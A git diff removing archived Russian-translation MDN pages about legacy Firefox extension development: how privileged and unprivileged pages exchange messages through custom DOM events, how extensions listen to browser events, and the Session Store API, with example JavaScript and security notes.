- "AKonia"
- ]
- },
- "Словарь/Функция": {
- "modified": "2019-03-23T22:38:18.825Z",
- "contributors": [
- "MuradAz"
- ]
- },
- "Словарь/Элемент": {
- "modified": "2019-03-18T21:38:41.974Z",
- "contributors": [
- "skapesec",
- "kayablue"
- ]
- },
- "Словарь/функция_обратного_вызова": {
- "modified": "2019-03-18T21:32:02.443Z",
- "contributors": [
- "jeniasaigak"
- ]
- },
- "Словарь/хеш": {
- "modified": "2019-03-23T22:13:59.337Z",
- "contributors": [
- "RealRedFox"
- ]
- },
- "Создание_расширения": {
- "modified": "2019-03-24T00:02:37.950Z",
- "contributors": [
- "kaifonaft",
- "teoli",
- "kup",
- "fscholz",
- "Tmax",
- "Yozh88"
- ]
- },
- "Создание_расширения/Настройка_Firefox_для_разработки": {
- "modified": "2019-03-23T23:59:35.072Z",
- "contributors": [
- "Protopopulus"
- ]
- },
- "Создание_расширения/Настройка_Firefox_для_разработки_расширений": {
- "modified": "2019-03-23T23:59:36.564Z",
- "contributors": [
- "Protopopulus"
- ]
- },
- "Создание_расширения_для_Firefox_с_использованием_Mozilla_Build_System": {
- "modified": "2019-01-16T16:11:17.475Z",
- "contributors": [
- "Kwinto",
- "S e r g e y r"
- ]
- },
- "Справочная_информация_по_Gecko_DOM": {
- "modified": "2019-01-16T16:08:57.530Z",
- "contributors": [
- "Megapotz"
- ]
- },
- "Справочная_информация_по_Gecko_DOM/Введение": {
- "modified": "2019-03-24T00:04:55.948Z",
- "contributors": [
- "ivaskonyan",
- "arturparkhisenko",
- "T-V-N",
- "Paul_Yuhnovich",
- "arunpandianp",
- "ethertank",
- "shaman"
- ]
- },
- "Справочная_информация_по_Gecko_DOM/Предисловие": {
- "modified": "2019-03-23T23:44:43.352Z",
- "contributors": [
- "marat-curious",
- "Megapotz"
- ]
- },
- "Справочная_информация_по_Gecko_DOM/Примеры": {
- "modified": "2019-01-16T14:46:48.913Z",
- "contributors": [
- "Sheppy",
- "abba7"
- ]
- },
- "Темы": {
- "modified": "2019-01-16T14:53:24.105Z",
- "contributors": [
- "teoli",
- "glukin"
- ]
- }
-} \ No newline at end of file
diff --git a/files/ru/archive/add-ons/index.html b/files/ru/archive/add-ons/index.html
deleted file mode 100644
index 0973c0ebd8..0000000000
--- a/files/ru/archive/add-ons/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
----
-title: Add-ons
-slug: Archive/Add-ons
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Add-ons
----
-<p>Archived add-ons documentation.</p>
diff --git a/files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html b/files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html
deleted file mode 100644
index c69aa35dc0..0000000000
--- a/files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html
+++ /dev/null
@@ -1,292 +0,0 @@
----
-title: Взаимодействие между привилегированными и непривилегированными страницами
-slug: Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages
-translation_of: Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages
----
-<h2 id="Sending_data_from_unprivileged_document_to_chrome" name="Sending_data_from_unprivileged_document_to_chrome"><span id="result_box" lang="ru"><span>Отправка данных из непривилегированного документа в хром</span></span></h2>
-
-<p><span id="result_box" lang="ru"><span>Простым способом отправки данных с веб-страницы на расширение является использование пользовательских событий DOM.</span> <span class="alt-edited">В оверлее browser.xul вашего расширения, написать код, который прослушивает событие пользовательского DOM.</span> <span>Здесь мы вызываем событие MyExtensionEvent.</span></span></p>
-
-<pre class="brush: js">var myExtension = {
- myListener: function(evt) {
- alert("Received from web page: " +
- evt.target.getAttribute("attribute1") + "/" +
- evt.target.getAttribute("attribute2"));
- }
-}
-document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true);
-// <span id="result_box" lang="ru"><span>Последнее значение - специфичное для Mozilla значение, чтобы указать, что недоверенный контент разрешен для запуска события.</span></span>
-</pre>
-
-<p><span id="result_box" lang="ru"><span>Данные с веб-страницы (непривилегированный код) будут значениями attribute1 и attribute2.</span> <span>Чтобы вызвать alert () в приемнике и передать данные с веб-страницы, напишите код, например, такой на веб-странице:</span></span></p>
-
-<pre class="brush: js">var element = document.createElement("MyExtensionDataElement");
-element.setAttribute("attribute1", "foobar");
-element.setAttribute("attribute2", "hello world");
-document.documentElement.appendChild(element);
-
-var evt = document.createEvent("Events");
-evt.initEvent("MyExtensionEvent", true, false);
-element.dispatchEvent(evt);
-</pre>
-
-<p><span id="result_box" lang="ru"><span>Этот код создает произвольный элемент -- &lt;MyExtensionDataElement /&gt; -- и вставляет его в DOM веб-страницы.</span></span> <span id="result_box" lang="ru"><span>Значения устанавливаются для двух произвольных атрибутов элемента.</span></span> <span id="result_box" lang="ru"><span>Их также можно назвать любыми, которые вам нравятся, но мы выбрали атрибуты attribute1 и attribute2.</span></span> <span id="result_box" lang="ru"><span>Наконец, код создает и отправляет пользовательское событие с именем MyExtensionEvent - подобно стандартным событиям нажатия DOM, которые вы ловите с обработчиками onclick.</span></span> <span id="result_box" lang="ru"><span>Событие всплывает на веб-странице и достигает расширения (привилегированный код), где ваш слушатель ловит его и читает значения атрибутов из элемента DOM, где возникло событие.</span></span></p>
-
-<p>( <span id="result_box" lang="ru"><span>Чтобы лучше гарантировать, что другие не реализуют одно и то же событие с другим значением, можно либо присоединить пространство имен к &lt;MyExtensionDataElement /&gt; и проверить обработчик события для правильного свойства namespaceURI, либо согласно спецификации DOM, использовать initEvent ()</span> <span>с именем события, которое само является пространством имен (только для имен XML)</span></span> : " <span id="result_box" lang="ru"><span>Также настоятельно рекомендуется, чтобы третьи стороны, добавляющие свои собственные события, использовали свой собственный префикс, чтобы избежать путаницы и уменьшить вероятность конфликтов с другими новыми событиями.</span></span> ")</p>
-
-<p><span id="result_box" lang="ru"><span>В случае, когда оверлей вашего расширения не взаимодействует напрямую с browser.xul, например на боковой панели, может быть проще добавить прослушиватель событий в документ верхнего уровня непосредственно, как показано ниже (см. также: доступ к элементам</span> <span>Документ верхнего уровня из дочернего окна).</span></span></p>
-
-<pre class="brush: js">var mainWindow = window.QueryInterface(Components.interfaces.nsIInterfaceRequestor)
- .getInterface(Components.interfaces.nsIWebNavigation)
- .QueryInterface(Components.interfaces.nsIDocShellTreeItem)
- .rootTreeItem
- .QueryInterface(Components.interfaces.nsIInterfaceRequestor)
- .getInterface(Components.interfaces.nsIDOMWindow);
-mainWindow.document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true);
-</pre>
-
-<p><span id="result_box" lang="ru"><span>Если вам нужно передать большое количество данных, рассмотрите возможность использования секций CDATA вместо простых атрибутов в настраиваемом элементе.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span>Примечание: Если вы используете postMessage () HTML5 для отправки сообщения из непривилегированного кода в привилегированный код, добавление 'true' к концу прослушивателя событий в вашем привилегированном chrome коде позволит получить сообщение.</span></span></p>
-
-<p> </p>
-
-<pre class="brush: js" style="font-size: 14px;">document.addEventListener("message", function(e) { yourFunction(e); }, false, true);</pre>
-
-<h2 id="Sending_data_from_chrome_to_unprivileged_document" name="Sending_data_from_chrome_to_unprivileged_document"><span id="result_box" lang="ru"><span>Отправка данных из хрома в непривилегированный документ</span></span></h2>
-
-<p><span id="result_box" lang="ru"><span>Чтобы «ответить» на веб-страницу (например, код возврата), ваше расширение может установить атрибут или присоединить дочерние элементы в элементе назначения события (&lt;MyExtensionDataElement /&gt; в этом примере).</span></span></p>
-
-<p><span id="result_box" lang="ru"><span>Вы можете при желании очистить созданный элемент или создать его один раз при загрузке веб-страницы, а затем повторно использовать его каждый раз.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span>Другой вариант - отправить событие возврата из расширения на веб-страницу.</span> <span>Это можно сделать, используя тот же принцип, что и вышеприведенный пример.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span>Существует только одно расширение, но может быть много активных веб-страниц.</span> <span>Таким образом, чтобы вызвать нужное событие на правой странице, мы должны сообщить расширению, на какую страницу вызывать.</span> <span>Необходимая для этого информация содержится в файле evt.target.ownerDocument.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span>Мы можем расширить приведенный выше пример с некоторой передачи данных из расширения на веб-страницу.</span> <span>В следующем примере кода два метода объединены:</span></span> <span id="result_box" lang="ru"><span>Установка дополнительного атрибута в исходном целевом элементе события и создание нового сообщения о событии с новым целевым элементом события.</span></span> <span id="result_box" lang="ru"><span>Для этого нам нужно определить оригинальный целевой элемент глобально.</span> <span>Нам нужен новый триггер события на веб-странице и некоторый код, чтобы показать, что сообщение о событии действительно прибыло.</span> <span>В расширении нам нужно отправить сообщение о событии на нужную веб-страницу.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span>Код, содержащий обратный вызов, может выглядеть так:</span></span></p>
-
-<p><span class="short_text" id="result_box" lang="ru"><span>В расширении:</span></span></p>
-
-<pre class="brush: js">var myExtension =
-{
- myListener: function(evt)
- {
- alert("Received from web page: " +
- evt.target.getAttribute("attribute1") + "/" +
- evt.target.getAttribute("attribute2"));
-
-/* the extension answers the page*/
- evt.target.setAttribute("attribute3", "The extension");
-
- var doc = evt.target.ownerDocument;
-
- var AnswerEvt = doc.createElement("MyExtensionAnswer");
- AnswerEvt.setAttribute("Part1", "answers this.");
-
- doc.documentElement.appendChild(AnswerEvt);
-
- var event = doc.createEvent("HTMLEvents");
- event.initEvent("MyAnswerEvent", true, false);
- AnswerEvt.dispatchEvent(event);
- }
-}
-
-document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true);
-// <span id="result_box" lang="ru"><span>Последнее значение - специфичное для Mozilla значение, чтобы указать, что недоверенный контент разрешен для запуска события.</span></span>
-</pre>
-
-<p><span class="short_text" id="result_box" lang="ru"><span>На веб-странице:</span></span></p>
-
-<pre class="brush: js">document.addEventListener("MyAnswerEvent",function(e) { ExtensionAnswer(e); },false);
-
-var element;
-
-function CallExtension()
-{
- var element = document.createElement("MyExtensionDataElement");
- element.setAttribute("attribute1", "foobar");
- element.setAttribute("attribute2", "hello world");
- document.documentElement.appendChild(element);
- var evt = document.createEvent("Events");
- evt.initEvent("MyExtensionEvent", true, false);
- element.dispatchEvent(evt);
-}
-
-function ExtensionAnswer(EvtAnswer)
-{
- alert(element.getAttribute("attribute3") + " " +
- EvtAnswer.target.getAttribute("Part1"));
-}
-</pre>
-
-<p><span id="result_box" lang="ru"><span>Основной пример подобной идеи, расширение передает информацию через атрибуты и запускает событие на div на странице,</span></span> <a href="http://forums.mozillazine.org/viewtopic.php?p=3192410#3192410">тут</a>.</p>
-
-<h2 id="Хром-подобные_сообщения_запрос_json_с_обратным_вызовом_json"><span id="result_box" lang="ru"><span>Хром-подобные сообщения: запрос json с обратным вызовом json</span></span></h2>
-
-<p><span class="short_text" id="result_box" lang="ru"><span>Веб-страница:</span></span></p>
-
-<pre class="brush: html">&lt;html&gt;
- &lt;head&gt;
- &lt;script&gt;
- var something = {
- send_request: function(data, callback) { // analogue of chrome.extension.sendRequest
- var request = document.createTextNode(JSON.stringify(data));
-
- request.addEventListener("something-response", function(event) {
- request.parentNode.removeChild(request);
-
- if (callback) {
- var response = JSON.parse(request.nodeValue);
- callback(response);
- }
- }, false);
-
- document.head.appendChild(request);
-
- var event = document.createEvent("HTMLEvents");
- event.initEvent("something-query", true, false);
- request.dispatchEvent(event);
- },
-
- callback: function(response) {
- return alert("response: " + (response ? response.toSource() : response));
- }
- }
- &lt;/script&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;button onclick="return something.send_request({foo: 1}, something.callback)"&gt;send {foo: 1} with callback&lt;/button&gt;
- &lt;button onclick="return something.send_request({baz: 3}, something.callback)"&gt;send {baz: 3} with callback&lt;/button&gt;
- &lt;button onclick="return something.send_request({mozilla: 3})"&gt;send {mozilla: 3} without callback&lt;/button&gt;
- &lt;button onclick="return something.send_request({firefox: 4}, something.callback)"&gt;send {firefox: 4} with callback&lt;/button&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<p><span id="result_box" lang="ru"><span>Наложите оверлей на browser.xul в своем расширении:</span></span></p>
-
-<pre class="brush: js">var something = {
- listen_request: function(callback) { // analogue of chrome.extension.onRequest.addListener
- document.addEventListener("something-query", function(event) {
- var node = event.target;
- if (!node || node.nodeType != Node.TEXT_NODE)
- return;
-
- var doc = node.ownerDocument;
- callback(JSON.parse(node.nodeValue), doc, function(response) {
- node.nodeValue = JSON.stringify(response);
-
- var event = doc.createEvent("HTMLEvents");
- event.initEvent("something-response", true, false);
- return node.dispatchEvent(event);
- });
- }, false, true);
- },
-
- callback: function(request, sender, callback) {
- if (request.foo) {
- return setTimeout(function() {
- callback({bar: 2});
- }, 1000);
- }
-
- if (request.baz) {
- return setTimeout(function() {
- callback({quux: 4});
- }, 3000);
- }
-
- if (request.mozilla) {
- return alert("alert in chrome");
- }
-
- return callback(null);
- }
-}
-
-something.listen_request(something.callback);
-</pre>
-
-<p><a href="http://code.google.com/chrome/extensions/messaging.html">Передача сообщения в хроме</a></p>
-
-<h2 id="Отправка_структурированных_данных"><span class="short_text" id="result_box" lang="ru"><span>Отправка структурированных данных</span></span></h2>
-
-<p><span id="result_box" lang="ru"><span>Вышеупомянутые механизмы используют атрибуты элементов и, таким образом, являются только строками.</span> <span>Вы можете переносить объекты.</span> <span>Gecko запрещает chrome получать доступ к свойствам настраиваемого объекта, добавленным содержимым, поскольку это может создать дыры в безопасности.</span> <span>Обходной путь - рассматривать связь между веб-страницей и chrome как обычным сетевым протоколом и использовать XML.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span>С атрибутами элементов и <a href="/en-US/docs/E4X">E4X</a> это довольно просто.</span> <span>Однако вам нужно конвертировать данные в / из объектов E4X.</span> <span>И ваш chrome должен тщательно проверять каждое пройденное значение (вам нужно сделать это в любом случае).</span></span></p>
-
-<pre class="brush: js">var targetDoc = null;
-
-function onLoad() {
-  var iframe = document.getElementById("contentiframe");
-  targetDoc = iframe.contentDocument;
-  iframe.contentWindow.addEventListener("newStuff", receiveStuffFromPage, false);
-}
-
-function receiveStuffFromPage(event) {
- var uc = getEventData(event); // uc = unchecked data in form of E4X XML
- var stuff = {};
- stuff.id = sanitize.integer(uc.@id);
- stuff.name = sanitize.label(uc.@name);
-}
-
-function sendSomethingToPage (something) {
- var somethingXML = &lt;something/&gt;; // |something| object as E4X XML
- somethingXML.@id = something.id;
- somethingXML.@weight = something.weight;
- sendMsg("sendSomething", somethingXML);
-}
-
-/**
- * <span class="short_text" id="result_box" lang="ru"><span>Отправить сообщение с chrome на страницу</span></span>
- * <span id="result_box" lang="ru"><span>@param type {String} тип события.</span> <span>Получателю необходимо использовать</span></span>
- * <span class="short_text" id="result_box" lang="ru"><span>при выполнении addEventListener (type, ...)</span></span>
- * <span class="short_text" id="result_box" lang="ru"><span>@param dataXML {E4X} данные или детали</span></span>
- */
-function sendMsg(type, dataXML) {
- var el = targetDoc.body;
- el.setAttribute("eventDataToPage", dataXML ? dataXML.toString() : "");
- var event = targetDoc.createEvent("Event")
- event.initEvent(type, true, true);
- el.dispatchEvent(event);
-}
-
-/**
- * Verifies that the event is indeed coming from our page
- * as expected, and returns the data for that event.
- * @returns {E4X} the (unchecked) detail data from the page.
- * You must check the data.
- * @see &lt;https://developer.mozilla.org/en-US/docs/Code_snippets/
- * Interaction_between_privileged_and_non-privileged_pages#Security_notes&gt;
- */
-function getEventData(event) {
- if (event.target.ownerDocument != targetDoc)
- throw "event from unexpected source";
- return new XML(event.target.getAttribute("eventDataFromPage"));
-}
-</pre>
-
-<h2 id="Security_notes" name="Security_notes"><span class="short_text" id="result_box" lang="ru"><span>Заметки о безопасности</span></span></h2>
-
-<ul>
- <li><span id="result_box" lang="ru"><span>Никогда не вызывайте JavaScript-функции веб-страницы из вашего расширения - это увеличивает вероятность создания брешей в безопасности, когда вредоносная веб-страница может обмануть браузер, чтобы запустить его код с расширенными привилегиями (как и ваше расширение), например, с помощью</span> <span>возможности удалять локальные файлы.</span></span></li>
- <li><span id="result_box" lang="ru"><span>Настоятельно рекомендуется проверить источник события (через event.target.ownerDocument.location) и сделать так, чтобы ваше расширение игнорировало любые события со страниц, не связанных с вашим сервером.</span></span></li>
-</ul>
-
-<h2 id="Resources" name="Resources"><span class="short_text" id="result_box" lang="ru"><span>Ресурсы</span></span></h2>
-
-<p><a href="http://forums.mozillazine.org/viewtopic.php?p=2955601">Обсуждения на форуме Mozillazine</a></p>
-
-<p><a href="/en-US/docs/Communication_between_HTML_and_your_extension">Связь между HTML и вашим расширением</a></p>
-
-<h2 id="Смотрите_также"><span class="short_text" id="result_box" lang="ru"><span>Смотрите также</span></span></h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/CustomEvent" title="/en-US/docs/Web/API/CustomEvent">CustomEvent</a></li>
- <li><a href="/en-US/docs/Web/API/window.postMessage" title="/en-US/docs/Web/API/window.postMessage">Window.postMessage</a></li>
- <li><a class="external" href="http://hyperstruct.net/2006/08/18/exchanging-data-between-chrome-and-content/" title="http://hyperstruct.net/2006/08/18/exchanging-data-between-chrome-and-content/">http://hyperstruct.net/2006/08/18/exchanging-data-between-chrome-and-content/</a></li>
-</ul>
-
-<p>{{ languages( { "fr": "fr/Extraits_de_code/Interaction_entre_des_pages_à_privilèges_et_sans_privilèges", "ja": "ja/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" } ) }}</p>
diff --git a/files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html b/files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html
deleted file mode 100644
index 4d6074ac4f..0000000000
--- a/files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html
+++ /dev/null
@@ -1,105 +0,0 @@
----
-title: Обработка событий в расширениях Firefox
-slug: Archive/Add-ons/Listening_to_events_in_Firefox_extensions
-translation_of: Archive/Add-ons/Listening_to_events_in_Firefox_extensions
----
-<p>Gecko использует события (<a class="internal" href="/en/DOM/event" title="En/DOM/Event">events<span style="color: #000000;">)</span></a> для передачи информации о происходящем во время работы браузера тем модулям, которые желают знать об этом.  События подразделяются на несколько различных категорий. Данная статья поможет Вам узнать основную информацию об этом и даст ссылки на более подробную документацию, описывающую каждую из категорий. Также в этой статье описаны несколько случаев, предоставляющих особый интерес.</p>
-<h2 id="Типы_событий">Типы событий</h2>
-<p>Существует множесто типов событий, которые могут использовать авторы приложений и расширений для получения оповещений от элементов браузера (<a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a>) и закладок (<code><a class="internal" href="/en/XUL/tabbrowser" title="En/XUL/Tabbrowser">tabbrowser</a></code>) об изменениях, связанных с загруженным в них содержимым.</p>
-<h3 id="Простые_DOM-события">Простые DOM-события</h3>
-<p>Для обработки простого DOM-события используйте такой код:</p>
-<pre>function callback(evt) {
- // Здесь Ваш код. Проверяйте значение evt.target чтобы обрабатывать только нужные события.
-}
-
-b.addEventListener("event", callback, false)
-</pre>
-<p>В приведенном примере <strong><code>b</code></strong> - это браузер (<a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a>) или закладка (<code><a class="internal" href="/en/XUL/tabbrowser" title="En/XUL/Tabbrowser">tabbrowser</a></code>), от которой Вы хотите получать события. Имейте в виду, что события могут приходить от любого фрейма внутри браузера или в случае закладки - от нескольких браузеров с такой закладкой.</p>
-<p>Ниже пречислены наиболее интересные DOM-события:</p>
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Событие</td>
- <td class="header">Описание</td>
- </tr>
- <tr>
- <td><code>DOMLinkAdded</code></td>
- <td>Генерируется, когда в документе обнаружена новая ссылка (HTML элемент <a class="internal" href="/en/HTML/Element/link" title="En/HTML/Element/Link"><code>&lt;link&gt;</code></a>).</td>
- </tr>
- <tr>
- <td><code>DOMTitleChanged</code></td>
- <td>Генерируется, когда изменен заголовок страницы.</td>
- </tr>
- <tr>
- <td><code>DOMContentLoaded</code></td>
- <td>Генерируется, когда инициализация DOM полностью завершена.</td>
- </tr>
- <tr>
- <td><code>load</code></td>
- <td><span style="display: none;"> </span>Генерируется, когда страница, включая картинки, была полностью загружена.</td>
- </tr>
- <tr>
- <td><code>unload</code></td>
- <td>Генерируется, когда пользователь закрыл страницу.</td>
- </tr>
- <tr>
- <td><code>pageshow</code></td>
- <td>Генерируется, когда страница показана вновь.</td>
- </tr>
- <tr>
- <td><code>pagehide</code></td>
- <td>Генерируется, когда страница скрыта.</td>
- </tr>
- </tbody>
-</table>
-<p>Более детально о событиях <strong><code>load</code></strong>, <strong><code>unload</code></strong>, <strong><code>pageshow</code> </strong>and <strong><code>pagehide</code>, </strong>а также о других событиях читайте в статье <a class="internal" href="/En/Using_Firefox_1.5_caching" title="En/Using Firefox 1.5 caching">Firefox's caching behaviour</a>.</p>
-<h3 id="Обработчики_процесса_загрузки">Обработчики процесса загрузки</h3>
-<p>Для отображения дополнительной информации о ходе загрузки данных из веба можно использовать обработчики процесса загрузки. Они предоставляют детальную информацию о ходе загрузки данных из веба. И браузер (<a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a>) и закладка (<code><a class="internal" href="/en/XUL/tabbrowser" title="En/XUL/Tabbrowser">tabbrowser</a></code>) поддерживают следующие конструкции:</p>
-<pre>var progressListener = {
- // add nsIWebProgressImplementation here
-}
-
-b.addProgressListener(progressListener);
-</pre>
-<p>Where <code>b</code> is the <code>browser</code> or <code>tabbrowser</code> you want to listen to events for. There are code snippets available that give more detail on <a class="internal" href="/en/Code_snippets/Progress_Listeners" title="en/Code snippets/Progress Listeners">using web progress listeners</a>.</p>
-<p>For a <code>tabbrowser,</code> the above code will only get events from the browser that is currently displayed at the time the event occurs. In order to listen to events from all browsers, including those not currently being displayed, the following example can be used:</p>
-<pre>var tabsProgressListener = {
- // add tabs progress listener implementation here
-}
-
-gBrowser.addTabsProgressListener(tabsProgressListener);
-</pre>
-<p>This lets you receive events related to all tabs. More information about <a class="internal" href="/En/Listening_to_events_on_all_tabs" title="En/Listening to events on all tabs"><span class="external">listening to events from all tabs</span></a> is available.</p>
-<p>{{ fx_minversion_note("3") }}</p>
-<h2 id="How_events_are_used_by_Firefox">How events are used by Firefox</h2>
-<p>The Firefox frontend already listens for a number of these progress events from web pages. Most of this goes on in <code>browser.js</code>.</p>
-<h3 id="DOMLinkHandler">DOMLinkHandler</h3>
-<p>The <code>DOMLinkHandler</code> object is called by the <code>DOMLinkAdded</code> event in order to detect any RSS feeds, site icons, or OpenSearch plugins for the web site.</p>
-<h3 id="pageShowEventHandlers">pageShowEventHandlers</h3>
-<p>The <code>pageShowEventHandlers()</code> function is called by the <code>pageshow</code> event and is used to populate the character set menu and update the UI elements associated with any detected feeds or OpenSearch plugins for the website.</p>
-<h3 id="XULBrowserWindow">XULBrowserWindow</h3>
-<p><a href="/en/XULBrowserWindow" title="en/XULBrowserWindow"><code>XULBrowserWindow</code></a> is an {{ interface("nsIWebProgressListener") }} used to get progress events for the currently visible browser. It is used to update the UI for many different reasons:</p>
-<ul>
- <li>Update the progress bar and status messages as pages load</li>
- <li>Turn on and off the throbber as pages load</li>
- <li>Set the site icon when available</li>
- <li>Update the address bar as the user navigates</li>
- <li>Hide notification bars when appropriate as the user navigates</li>
- <li>Apply the site zoom preferences to newly loading pages</li>
- <li>Update the bookmarking star button UI</li>
- <li>Update the identity display as the site's security changes</li>
-</ul>
-<h3 id="TabsProgressListener">TabsProgressListener</h3>
-<p>This object is a tabs progress listener and receives events for all browsers in the window. It is used to detect when a webpage attempts to refresh itself and allow the user to block the attempt.</p>
-<h2 id="How_events_are_used_by_the_tabbrowser">How events are used by the tabbrowser</h2>
-<p><code>tabbrowser</code> maintains a set of objects relating to progress listening for each browser. First it creates a <code>browser-status-filter</code> and adds it as a web progress listener for the browser. Next it creates an internal object to receive all web progress events from the browser. This is created by the method <code>mTabProgressListener()</code>. This receives events from the <code>browser-status-filter</code>. The filter acts to reduce the number of status and progress events to improve performance. The filters are held in the array <code>mFilters</code>, the internal listeners in the array <code>mTabListeners</code>.</p>
-<p>The internal listeners are used to send out progress events to listeners registered with <a class="internal" href="/en/XUL/Method/addProgressListener" title="En/XUL/Method/AddProgressListener"><code>addProgressListener()</code></a> (which receives events from the browser that is currently visible) and <a class="internal" href="/En/XUL/Method/AddTabsProgressListener" title="En/XUL/Method/AddTabsProgressListener"><code>addTabsProgressListener()</code></a> (which receives events from all browsers).</p>
-<h2 id="See_also">See also</h2>
-<ul>
- <li><a class="internal" href="/en/DOM/event" title="En/DOM/Event"><code>event</code></a></li>
- <li><a class="internal" href="/En/Listening_to_events_on_all_tabs" title="En/Listening to events on all tabs">Listening to events on all tabs</a></li>
- <li><a class="internal" href="/En/DOM/Mouse_gesture_events" title="en/Mouse gesture events">Mouse gesture events</a></li>
- <li><a class="internal" href="/en/Code_snippets/Progress_Listeners" title="en/Code snippets/Progress Listeners">Code snippets: Progress listeners</a></li>
-</ul>
-<div id="cke_pastebin" style="position: absolute; top: 772.5px; width: 1px; height: 1px; overflow: hidden; left: -1000px;">
-  </div>
diff --git a/files/ru/archive/add-ons/session_store_api/index.html b/files/ru/archive/add-ons/session_store_api/index.html
deleted file mode 100644
index 3f9ea7078a..0000000000
--- a/files/ru/archive/add-ons/session_store_api/index.html
+++ /dev/null
@@ -1,87 +0,0 @@
----
-title: Session store API
-slug: Archive/Add-ons/Session_store_API
-translation_of: Archive/Add-ons/Session_store_API
----
-<p>{{ Fx_minversion_header(2) }} Session store makes it possible for <a href="/en-US/docs/Extensions" title="en/Extensions">extensions</a> to easily save and restore data across Firefox sessions. There is a simple API that lets extensions access the session store feature.</p>
-<p>One key scenario in which supporting this feature can be crucial for an extension: Firefox 2 lets users undo the closing of tabs. In order to properly restore your extension's state when a tab is restored, it needs to use the session store API's <code>setTabValue()</code> method to save any data it will need in order to restore its state, and then call <code>getTabValue()</code> to retrieve the previous setting when the tab is restored.</p>
-<p>The Session Store API is implemented using the {{ Interface("nsISessionStore") }} interface.</p>
-<h2 id="Knowing_when_to_restore" name="Knowing_when_to_restore">Knowing when to restore</h2>
-<p>Each time Firefox is about to restore a tab, an event of type <code>SSTabRestoring</code> is sent. If your extension wants to be able to restore data when tabs are restored, you can install a listener like this:</p>
-<pre>function myExtensionHandleRestore(aEvent) {
- var tab = event.originalTarget; /* the tab being restored */
- var uri = tab.linkedBrowser.contentDocument.location; /* the tab's URI */
-
- Components.classes["@mozilla.org/consoleservice;1"]
- .getService(Components.interfaces.nsIConsoleService)
- .logStringMessage("restoring tab: " + uri);
-};
-
-document.addEventListener("SSTabRestoring", myExtensionHandleRestore, false);
-</pre>
-<p>Simply replace the contents of the function <code>myExtensionHandleRestore()</code> with whatever you need to do when the tab is restored. In this example, <code><a href="/en-US/docs/nsIConsoleService" title="en/nsIConsoleService">nsIConsoleService</a></code> is used to display a message to the <a href="/en-US/docs/Error_Console" title="en/Error_Console">console</a>.</p>
-<p>This event is sent just before a tab is restored. An event of type <code>SSTabRestored</code> fires each time a tab has finished restoring. It's worth noting that this event is sent even if tab loading at startup is deferred until the user selects the tab.</p>
-<p>{{ fx_minversion_note("3", 'In Firefox 3 and later, if you need to detect when a tab is about to be closed so that you can update data associated with the tab before it is closed, you can watch for the "SSTabClosing" event, which is sent to the tab.') }}</p>
-<h3 id="Restoring_without_restarting">Restoring without restarting</h3>
-<p>{{ fx_minversion_note("3.6", "This section applies to Firefox 3.6 and later.") }}</p>
-<p>Firefox 3.6 knows how to save session store data when the last browser window closes, even if there are still other windows open. Similarly, it can now restore the user's session while in that state. In other words, it's now possible for sessions to be restored even without the browser quitting and being relaunched. This is something you may need to keep in mind if you rely on the behavior of the session store system.</p>
-<h2 id="The_session_restore_process" name="The_session_restore_process">The session restore process</h2>
-<p>The exact sequence of events that occurs when a session is being restored is:</p>
-<ol>
- <li>A session state is about to be restored. This can be on startup or in response to Undo Close Tab, since closed tabs are restored as single-tab sessions.</li>
- <li>New windows are opened as required (one for each window that was saved in the session store), and cookies and the list of recently closed tabs are restored.</li>
-</ol>
-<p>After that, the following steps are taken for each tab being restored:</p>
-<ol>
- <li>Either an existing tab is reused or a new tab is created. In the latter case, a <code>TabOpen</code> event is sent.</li>
- <li>The tab's persistent XUL attributes (those saved due to calls to <code><a href="/en-US/docs/nsISessionStore#persistTabAttribute.28.29" title="en/nsISessionStore#persistTabAttribute.28.29">persistTabAttribute()</a></code>) and permissions are restored.</li>
- <li>The <code>SSTabRestoring</code> event is sent.</li>
- <li>The tab is told to load the URL it should be displaying.</li>
- <li>When the page is finished loading, text fields and scroll state are restored.</li>
- <li>Finally, the <code>SSTabRestored</code> event is sent.</li>
-</ol>
-<p>If you want to set permissions or otherwise manipulate a restored tab before the page is loaded into it, you should watch <code>SSTabRestoring</code>. If you want to do something after the page is loaded, you should watch <code>SSTabRestored</code>.</p>
-<p>Both events are always sent for each tab being restored. You can determine which tab is being restored by looking at the event's <code>originalTarget</code> field.</p>
-<p>There's not really a way to determine when the last tab has been restored unless you determine how many tabs need to be restored then count the <code>SSTabRestored</code> events.</p>
-<h2 id="Using_the_session_store_API" name="Using_the_session_store_API">Using the session store API</h2>
-<p>This section provides a few simple examples of how to make use of the session store API.</p>
-<h3 id="Saving_a_value_with_a_tab" name="Saving_a_value_with_a_tab">Saving a value with a tab</h3>
-<p>The following code will attach a key/value pair to a tab, so that when the tab is restored, that pair is still associated with it.</p>
-<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"]
- .getService(Components.interfaces.nsISessionStore);
- var currentTab = gBrowser.selectedTab;
- var dataToAttach = "I want to attach this";
